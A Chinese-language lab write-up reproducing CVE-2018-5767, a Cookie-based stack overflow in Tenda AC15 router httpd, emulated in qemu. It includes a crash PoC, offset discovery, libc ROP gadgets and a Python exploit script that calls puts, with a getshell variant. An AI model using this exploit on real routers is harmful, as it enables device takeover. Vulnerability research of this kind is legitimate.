0x00 写在前面

本实验是对 CVE-2018-5767 漏洞的调试分析和复现,所有实验过程均在本地搭建的虚拟机中进行。通过该实验比较深入地理解了该漏洞的成因和利用过程。

请严格遵守所在地法律法规。

0x01 环境搭建

调试环境搭建

使用 peda 将导致只能正常断点和运行,无法显示寄存器及相应参数状态。所以这里还是需要使用 pwndbg

pwndbg 的安装也没有那么难,看网上的教程说人家必须要 python.xxx,所以还去卸载并安装 python 就傻了,其实人家是一个逐步移除支持的过程,在 issue 中有说到在哪个版本移除了 Ubuntu18.04 中默认的 python3.6 的支持,所以只需要 clone 了后,再`checkout 到支持的分支中即可。

这里随便选择了一个支持的正式版本,然后按照官网安装即可,一瞬成功:https://github.com/pwndbg/pwndbg/tree/5d4026d647806f1c06e787120e51aab3c7a560de。

ROPgadget的安装也是按照 GitHub官 方仓库中的命令执行即可。

qemu 的安装也是普通的安装即可。

固件提取

本次调试是在 Ubuntu18.04 环境下,借助 qemu-arm-static进行的,调试使用 gdbida 结合着。

存在问题的固件为:Tenda AC15 15.03.1.16_multi 该存在漏洞的固件 US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin

下载完成进行固件的分析,使用 binwalk 提取即可,它会自动将其解压形成一个文件夹,同时能看到该固件的格式为arm小端

1
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin

然后找到存在漏洞的文件 文件系统 squashfs-root 及下面的 httpd

chroot,即 change root directory (更改 root 目录)。在 linux 系统中,系统默认的目录结构都是以 /,即以根 (root) 开始的。而在使用 chroot 之后,系统的目录结构将以指定的位置作为 / 位置。

1
2
3
cd xxx.bin.extracted/squashfs-root
cp $(which qemu-arm-static) ./
sudo chroot . ./qemu-arm-static ./bin/httpd

固件patch

由于是 arm 架构的,所以需要借助 qemu 进行模拟调试,由于模拟的环境缺少真机中的一些必要的组件直接运行可能无法工作,因此需要进行 patch 将一些其他不重要的检测进行过滤。通过将 httpd 在 ida 中打开后,全局搜索字符串 Welcome to 然后定位到下面这个比较的地方,将两个比较指令 patch 掉。

进行patch

经过对比发现 MOV R3 R0 对应的机器码是 00 30 A0 E1,然后给它改成 01 30 A0 E3 00 00 53 E3 02 00 00 CA 01 00 A0 E3,然后导出就 patch 成功,然后放置在原来的位置进行替换,此时再执行就绕过了此处的检测,再执行就会成功走到 Connect to server failed.了,然后就服务启动成功了

1
2
3
4
2cf90
00 30 A0 E1 00 00 53 E3 02 00 00 CA 01 00 A0 E3
2cf94
00 00 53 E3 02 00 00 CA 01 00 A0 E3 D9 82 FF EB

patch程序

网络配置

qemu 进行模拟调试时需要先进行网络环境的配置,不然可能等下的 IP 地址会很奇怪。可以参考这个文章进行网络环境的配置,如果在执行过程中出现一个报错,应该是里面的有一个自定义写的脚本 /etc/qemu-ifup 依赖不够,所以安装一下即可。

然后保存 patch 后 将 httpd 拷贝进去进行替换原始文件并添加权限即可。

启动成功

出现上述界面环境就配置成功了。

0x02 漏洞分析

这个程序的漏洞很简单,就是未对输入数据进行检查,具体而言是未对用户提供的 HTTP 报文中的 cookie 字段进行长度检查,然后就直接将数据拷贝到缓冲区进行处理,造成了栈溢出。

ida中进行查看,在第 87行将从用户提供的 cookie 中提取 password= 后面的字段,如果提取成功则直接将其中的数据使用 sscanf 读取的缓冲区 v33 中。

漏洞点

v33 是定义在函数开头的局部变量,其大小只有 128 字节,因此当用户输入过长时将会溢出该缓冲区。

v33定义

这里我就懒得去一步一步分析控制流找到这个参数具体是哪部分受控的,我们直接简单粗暴,往这个接口中灌入很长的 password 参数,观测程序是否崩溃来看我们是否能正常触发这个接口,如果不能再进一步调试找条件。

0x03 漏洞调试

先运行一个 poc 观测程序崩溃

1
2
3
4
5
6
7
8
9
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests

URL = "http://192.168.254.201:80/goform/helloworld"

cookie = {"Cookie":"password="+"a"*0x400+".pngAAA"}

requests.get(url=URL, cookies=cookie)

可以发现下面的程序运行后,原程序崩溃,触发了 Segment fault

程序崩溃

此时,重新启动程序,以 qemu 支持的远程调试模式进行启动。将安装好的 qemu-arm-static 拷贝到该文件系统的根目录中,然后执行命令

1
sudo chroot ./ ./qemu-arm-static -L ./ -g 1234 ./bin/httpd

即可开启一个 gdb 的远程调试 server ,此时可以使用 gdb 进行连接即可,但是由于是跨架构的调试,所以需要使用 gdb-multiarch,于是在文件系统根目录中执行 gdb-multiarch ./bin/httpd 将读取该文件,准备进行调试。

然后使用命令 target remote :1234 即可成功连接过去,如下图所示,可以看到成功连接了

远程调试连接成功

为了确定程序溢出时,溢出数据覆盖栈中关键数据的偏移,需要修改 PoC 中的填充数据,这里可以简单使用 cyclic 来生成 4 字节不重复的输入填充,然后更新新的 PoC

新的PoC

然后在漏洞函数 R7WebsSecurityHandler 退出前下断点,这个通过 ida 可以看到是 0x002ED18

漏洞函数退出位置

所以在程序中下断点:b * 0x002ED18,而后运行程序 c ,此时 qemu 中的程序会继续执行,可以看到其输出了一系列的 log 信息后,在进行 http 服务的监听,等待连接,此时运行新的 PoC 触发断点。

触发断点

可以看到此时触发断点时栈中的数据,溢出位置的数据是 0x65616170,对应 paae ,所以找到了溢出位置的偏移是 460

溢出位置偏移确定

继续运行程序,在函数结尾停止后,观测到 PC 填入时,最后 1bit 被置为 0 了(0x6561616d->0x6561616c),这是因为 ARM 模式与 thumb 模式的切换问题:通常 PC 指针指向的地址都是 4 字节对齐,即地址的 [1:0] 位总是为 0,这也是我们说的 ARM 模式。现在很多 CPU 都支持混合编码即同时支持 ARM 指令和 Thumb 指令,因此为了区分 Thumb 指令,ARM[0] 位设置成 1,即地址最低位如果是 1 ,表示当前指令是 Thumb 指令,否则为 ARM 指令。在函数退出时执行了 pop pc 的操作,而最低有效位(LSB)将会被写入到 CPSR 寄存器的 T 位中,而 PC 本身的最低位则会被置零。

劫持PC指针的值

此时要进行栈溢出的利用,需要该漏洞程序开启的保护,如下图所示可以看到保护机制开启了 NX ,因此我们需要使用 ROP 链进行利用。

保护机制

所以,先找找 gadget ,先找一个 gadget 命令为:

1
ROPgadget --binary ./lib/libc.so.0 --only 'mov|blx'

mov_r0_sp

再找一个 gadget

1
ROPgadget --binary ./lib/libc.so.0 --only 'pop'

pop_r3_pc

这两条指令的选取时需要是对应的寄存器,即 mov r3、pop r3 ,最终选取的指令如下:

1
2
0x00040cb8 mov r0, sp; blx r3;
0x00018298 pop {r3, pc};

在拥有了 gadget 后,需要获取 libc 的基地址,由于关闭了 ASLR ,所以可以直接从程序中读取函数并减去偏移计算出基地址。

pwndbg 中查看 strcmp 的地址,并在 ida 中看 libc 的偏移,计算即可。

strcmp偏移

strcmp地址

libc基址

此时,结合获取到的 ROP 链和程序覆盖时的偏移位置,可以构建 exp

exp

其中构建的 payload 为:

1
pl='a'*444+".png"+p32(pop_r3)+p32(puts)+p32(mov_r0)+_str

pop_r3 对应 448puts 对应 452mov_r0 对应 456_str 对应 460

再结合前面的图进行分析,pop_r3 将被放置在 stack04puts 被放置在 stack05mov_r0 将被放置在 stack06_str 将被放置在 stack07

修改完毕后,重复上面的过程,再次走到断点处,观测其中的数据如下图所示,可以看到成功让 PC 能走向 ROP 链 ,此时停在断点处,马上 GO !同时发现栈中的结构也与构想一致。

验证payload劫持第一步

此时继续执行程序,成功执行 puts 函数,并且打印了自定义字符串 Hello

打印hello成功

getshell 只需要将函数换成 system ,参数换成 /bin/sh 即可。

如下图所示,可以看到此时执行的 PC 指令即 system 而对应的参数在 R0 中即 /bin/sh,于是可以完成 getshell

但是其实是没有成功的,按照网上的说法,qemu/bin/sh 的模拟存在缺陷,因此直接使用程序会报错,会崩溃。即使出现了下面这正确的布局数据依然是不得行的。

getshell前夕

0x04 内存布局变化图

最终在调试过程中的一些关键位置时的内存变化图如下

内存布局图

0x05 exp

这个能打印,但是 system 跑不起来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
from pwn import *

base = 0xff5d5000
libc = ELF('./lib/libc.so.0')

puts = base+libc.sym['puts']
_str = "Hello\x00"
mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;
pop_r3 = base+0x00018298 # pop {r3, pc};
URL = "http://192.168.254.201:80/goform/hello"

print("puts:", puts)
print("mov_r0:", mov_r0)
print("pop_r3: ", pop_r3)

pl = 'a'*444+".png"+p32(pop_r3)+p32(puts)+p32(mov_r0)+_str
cookie = {"Cookie":"password="+pl}
requests.get(url=URL, cookies=cookie)

0x06 参考链接

Tenda-AC15栈溢出漏洞复现:https://www.52pojie.cn/thread-1674625-1-1.html

CVE-2018-5767:https://wzt.ac.cn/2019/03/19/CVE-2018-5767/